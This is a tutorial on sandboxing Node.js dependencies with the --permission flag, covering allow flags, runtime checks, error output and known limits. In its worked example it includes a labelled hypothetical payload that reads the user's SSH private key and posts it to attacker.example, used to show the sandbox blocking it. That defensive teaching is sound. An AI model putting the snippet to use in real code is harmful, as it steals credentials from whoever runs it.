This article is published in English.
Sandboxing node_modules with the Node.js Permission Model Flags
Learn how the Node.js --permission flag denies filesystem, network and process access by default, how to grant it precisely, and where its limits lie.
Every npm install is an act of trust. A project with ten direct dependencies routinely ends up with somewhere between 500 and 1,500 packages in node_modules, and almost none of them have been read by anyone on your team. The Node.js Permission Model lets you start the process in a deny-by-default mode, so that a compromised package can only reach the files, sockets and processes you explicitly allowed. This guide walks through how the checks work, how to enable them without breaking your app, and which gaps remain even when everything is configured correctly.
Why ambient trust is the real problem
Out of the box, Node.js makes no distinction between the code your team wrote and the code a stranger published to the registry. Anything loaded into the process inherits the full privileges of the operating-system user running it. In practice that means any dependency can:
- read whatever that user can read, including
.envfiles, SSH private keys and cloud credentials such as~/.aws/credentials; - open outbound connections and ship that data somewhere else;
- start child processes and execute shell commands;
- load native
.nodeaddons, which are compiled machine code that JavaScript-level rules cannot constrain.
Real incidents have exploited exactly this. The hijacked event-stream package carried a payload aimed at a Bitcoin wallet library, ua-parser-js was taken over and republished with malware, and several token-stealing worms have spread through npm. None of them needed a clever exploit; they only needed to run inside a process that trusted them completely. One compromised maintainer account three levels down the tree is enough. If you want a deeper look at how these attacks unfold and the registry-side defenses against them, see how npm supply chain attacks work.
The Permission Model addresses the runtime half of the problem. It is an opt-in, process-level sandbox that inverts the default: nothing is permitted until you grant it.
What the Permission Model is and where it stands
The feature restricts access to specific resources while a program runs. Once you pass the flag, the process loses access to the filesystem, the network, child processes, worker threads, native addons, WASI and FFI, and regains each capability only through an explicit allow flag. The official Node.js permissions documentation is the reference for the exact behavior in your version.
The feature has matured quickly:
- It first shipped as an experimental feature in Node.js v20.0.0 in April 2023.
- From v23.5.0 and v22.13.0 onward it is marked Stability 2 (Stable), so it is no longer an experiment you have to hide behind a feature toggle.
- Later releases kept tightening it. According to a summary of the 2026 changes, recent versions require explicit permission for symlink-related filesystem APIs, check permissions when binding Unix domain sockets, and add finer control over environment variables through
--allow-env. Treat these as version-dependent and confirm them against the docs for the release you run.
The practical upshot is that you can now rely on it as a genuine layer of defense against supply-chain compromise rather than a curiosity.
The mental model: a firewall around your own process
A network firewall decides which packets may pass. The Permission Model does the same for resource access inside one process. Without it, fs.readFileSync() simply reads the file. With it, the call first passes a checkpoint that asks whether this precise resource is on the allow-list. If it is, nothing changes. If it is not, the call throws and the file is never opened.
The important detail is where that checkpoint lives. It is enforced inside the runtime, in the C++ binding layer, not in JavaScript. A malicious package cannot defeat it by overwriting fs.readFileSync or wrapping the module, because the decision is made below the level that ordinary JavaScript can reach.
Following one denied call through the runtime
To make this less abstract, trace what happens when some code in the process tries to read /etc/passwd:
- Your code, or any module loaded into the same process, calls
fs.readFileSync('/etc/passwd'). - The call reaches Node's internal
fsbinding, the layer that actually talks to the operating system. - Before any I/O happens, the binding asks the Permission Model whether the process holds
fs.readfor that exact path. This is the same question you can ask yourself throughprocess.permission.has('fs.read', path). - When the path is allowed, the read proceeds as it always would. Well-behaved code sees no difference in behavior.
- When it is not allowed, Node throws an error whose shape is consistent and easy to inspect.
The thrown error carries a code, the name of the permission that was missing and the resource that was requested:
Error: Access to this API has been restricted
at node:internal/main/run_main_module:23:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/etc/passwd'
}
Because ERR_ACCESS_DENIED is a stable code, you can catch it and react deliberately, and permission-aware libraries can do the same instead of crashing the whole application.
Enabling the sandbox for the first time
Turning the model on takes one flag in front of your entry file:
node --permission index.js
Expect this to fail at once, even for an empty script:
$ node --permission index.js
Error: Access to this API has been restricted
at node:internal/main/run_main_module:23:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/home/user/index.js'
}
This catches many people off guard, but it is consistent: loading index.js is itself a filesystem read, and reads are denied like everything else. There is no built-in exception for your own source code, which is a useful first lesson about how strict the model is.
The fix is to allow reads from the project directory:
node --permission --allow-fs-read=. index.js
The entry file now loads, but the first require() of a package will fail, because resolving and loading modules also reads from disk. The usual next step is to allow node_modules explicitly:
node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
Strictly speaking, ./node_modules already sits under ., so the second flag is redundant in a simple layout. Listing it separately becomes meaningful when you later narrow the first flag to something like ./src, or when your dependencies are hoisted to a different directory in a monorepo.
While you are still learning which paths your app touches, you can allow every read and keep all other capabilities locked:
node --permission --allow-fs-read=* index.js
Think of the * wildcard as training wheels. It is acceptable during development or for services where reading files is not the sensitive part, but it lets any dependency read your secrets, so tighten it before shipping anything that handles credentials.
Every gated capability and the flag that opens it
Filesystem reads are only one of the gates. Each resource class maps to its own flag:
- Filesystem reads:
--allow-fs-read=<path>. - Filesystem writes:
--allow-fs-write=<path>. - Network access:
--allow-net. - Child processes:
--allow-child-process. - Worker threads:
--allow-worker. - Native addons:
--allow-addons. - WebAssembly System Interface:
--allow-wasi. - Foreign function interface:
--allow-ffi.
A few of these behave in ways worth understanding before you use them:
- The two filesystem flags take a path and can be repeated, for example
--allow-fs-read=./data --allow-fs-read=./config. --allow-nettakes no argument. It is a single switch that covers inbound and outbound networking, including raw sockets,http,https,fetchand Unix domain sockets.--allow-child-processalso interacts with how restrictions travel to children. A process created withchild_process.fork()receives your permission flags automatically, whilechild_process.spawn()passes them on through theNODE_OPTIONSenvironment variable. In both cases the child stays inside the sandbox rather than escaping it.--allow-addonsdeserves the most caution. Native addons are compiled C or C++ libraries loaded withdlopen, and once loaded they execute outside the JavaScript engine with no further permission checks. Granting this flag to code you do not fully trust gives that code roughly the same power it would have with no sandbox at all.
A worked example: a CSV uploader and a poisoned dependency
Consider a small but realistic script. It reads a CSV file from disk, parses it with the third-party csv-parse package and posts the records to an API using axios, another third-party package:
// process-csv.js
const fs = require('fs');
const { parse } = require('csv-parse/sync'); // third-party dependency
const axios = require('axios'); // third-party dependency
const raw = fs.readFileSync('./data/input.csv', 'utf-8');
const records = parse(raw, { columns: true });
axios
.post('https://api.example.com/ingest', records)
.then(() => console.log('Uploaded', records.length, 'records'));
Run with plain node process-csv.js, this works. So would a hidden payload slipped into a minor release of csv-parse or one of its own dependencies. The snippet below imitates what such a payload might look like: it reads the user's SSH private key and posts it to an attacker-controlled host.
// hypothetical malicious code inside a compromised transitive dependency
const fs = require('fs');
const os = require('os');
const https = require('https');
const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
https.request('https://attacker.example/collect', { method: 'POST' })
.end(secret);
Without a sandbox, this runs silently and the key is gone before anyone notices. Now start the same script with only the capabilities it legitimately needs, namely reads from the project and its dependencies plus network access:
node --permission \
--allow-fs-read=. \
--allow-fs-read=./node_modules \
--allow-net \
process-csv.js
The real work still succeeds: the script reads ./data/input.csv, loads its modules and reaches the API. The payload, however, fails as soon as it touches the key:
Error: Access to this API has been restricted
at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/home/user/.ssh/id_rsa'
}
os.homedir() points outside both . and ./node_modules, so the path is not on the allow-list, and the exfiltration never gets as far as opening a connection.
Notice what did not help here. Because the legitimate script needs --allow-net, the payload could still have made network requests. What saved the key was the narrow read scope. The same logic warns you about a common mistake: if you keep a .env file in the project root and allow reads from ., every dependency can read that file too. Keep secrets outside the readable paths, or inject them through a mechanism that does not require filesystem access from the process.
Shutting off process spawning
Many real payloads skip file reads entirely and simply launch a shell to download and run a second stage. With --permission active and no --allow-child-process, the attempt fails before any process starts:
node:internal/child_process:388
const err = this._handle.spawn(options);
^
Error: Access to this API has been restricted
at ChildProcess.spawn (node:internal/child_process:388:28)
at node:internal/main/run_main_module:17:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'ChildProcess'
}
Most application code, such as data transformation, calls to internal services or template rendering, has no reason to spawn processes. If nothing in your dependency tree legitimately needs child_process, leaving the flag off removes an entire class of attack at no cost.
Asking for permission from inside your code
When the model is active, Node exposes process.permission, which lets code check a capability before trying to use it instead of relying on a thrown exception. You can check a capability in general or scope the question to a specific path:
if (process.permission) {
console.log(process.permission.has('fs.write')); // true / false
console.log(process.permission.has('fs.write', '/app/uploads')); // scoped check
console.log(process.permission.has('fs.read')); // true / false
console.log(process.permission.has('net')); // true / false
}
The if (process.permission) guard matters because the object only exists when the process was started with --permission. For library authors this API is especially valuable: a package with optional telemetry can check process.permission.has('net') and quietly disable that feature in a sandboxed process instead of taking the host application down.
Making the sandbox part of how the project runs
Typing a long list of flags by hand is error-prone, and a sandbox that someone forgets to enable protects nothing. The simplest fix is to put the flags into the start script in package.json:
{
"scripts": {
"start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
}
}
To apply the same policy to every npm script, including tools launched through npx, you can set the flags once through NODE_OPTIONS. Keep in mind that npm itself is a Node.js program, so it runs under these restrictions too; that is one reason this example uses the broad --allow-fs-read=*.
export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
npm start
For a single npx invocation, pass the options directly:
# enabling it for a one-off npx execution
npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
This last pattern shows once more that nothing is trusted implicitly. To locate and execute the tool, Node needs read access to wherever the package actually lives, whether that is the global node_modules directory reported by npm prefix -g or the npx cache. Even the command you deliberately asked to run has to be granted access.
Limitations to understand before you rely on it
The Permission Model is a strong layer, but treating it as a complete solution is risky.
Permissions apply to the whole process, not to individual packages
This is the most important caveat for anyone hoping to lock down specific dependencies. The sandbox draws a line between the Node.js process and the operating system. It cannot express rules such as "left-pad gets no network, but axios does." All modules in the process share one permission set, so granting --allow-net for your HTTP client grants it to every other package as well. The model raises the bar for the process as a whole; it does not isolate packages from one another. If you truly need per-component isolation, you have to split work into separate processes with different flags.
Native addons bypass everything once loaded
After --allow-addons is granted and a native module is loaded, its compiled code runs with no further enforcement. The sandbox has no visibility into machine code.
The enforcement code can have bugs of its own
The checks are ordinary runtime code and can be wrong. A vulnerability reported in 2026, tracked as CVE-2026-58043, affected the path-matching logic: filesystem allow-lists are stored in a radix tree, and paths that merely shared a character prefix with an allowed path could be granted access incorrectly. That allowed reads or writes outside the intended scope. The reported patched versions are 26.5.1, 24.18.1 and 22.23.2 for the respective release lines; check the Node.js security releases for the authoritative list. The takeaway is not to avoid the feature but to keep your runtime patched, since correct flags on a vulnerable release still leave a gap.
It limits damage; it does not prevent installation
The sandbox bounds the blast radius when malicious code runs. It does nothing to stop that code from being installed. Keep using npm audit, install with npm ci against a committed lockfile instead of loose version ranges, review new transitive dependencies before upgrading, and consider a dependency-scanning service such as Socket or Snyk alongside the runtime controls.
A checklist for rolling it out
- Begin with
--permission --allow-fs-read=*during development so you can see which other capabilities your app needs without fighting over exact paths. - Before release, narrow
--allow-fs-readand--allow-fs-writeto the directories the app really uses, such as data folders, configuration andnode_modules. Never allow your home directory or/. - Grant capability flags such as networking, child processes, workers, addons, WASI or FFI only when a real requirement exists. Each flag you omit closes an attack path.
- Treat a need for
--allow-addonsas a warning sign and audit the dependency that requires it. - Keep secrets out of any directory the process can read.
- Encode the flags in your start script or
NODE_OPTIONSso nobody can forget them. - Stay on a current, patched Node.js release, because the enforcement layer receives security fixes like any other part of the runtime.
Key takeaways
Supply-chain attacks work because Node.js trusts every package in the tree as much as it trusts your own code. The Permission Model does not remove that trust, since the code still runs in your process, but it turns an unlimited blast radius into a bounded one defined by the flags you chose. Its value depends on how narrow those flags are: tight filesystem scopes and missing capability flags stop most payloads, while broad wildcards and --allow-addons quietly give that protection away. Combined with a patched runtime and ordinary dependency hygiene, it is one of the cheapest security controls a Node.js service can adopt.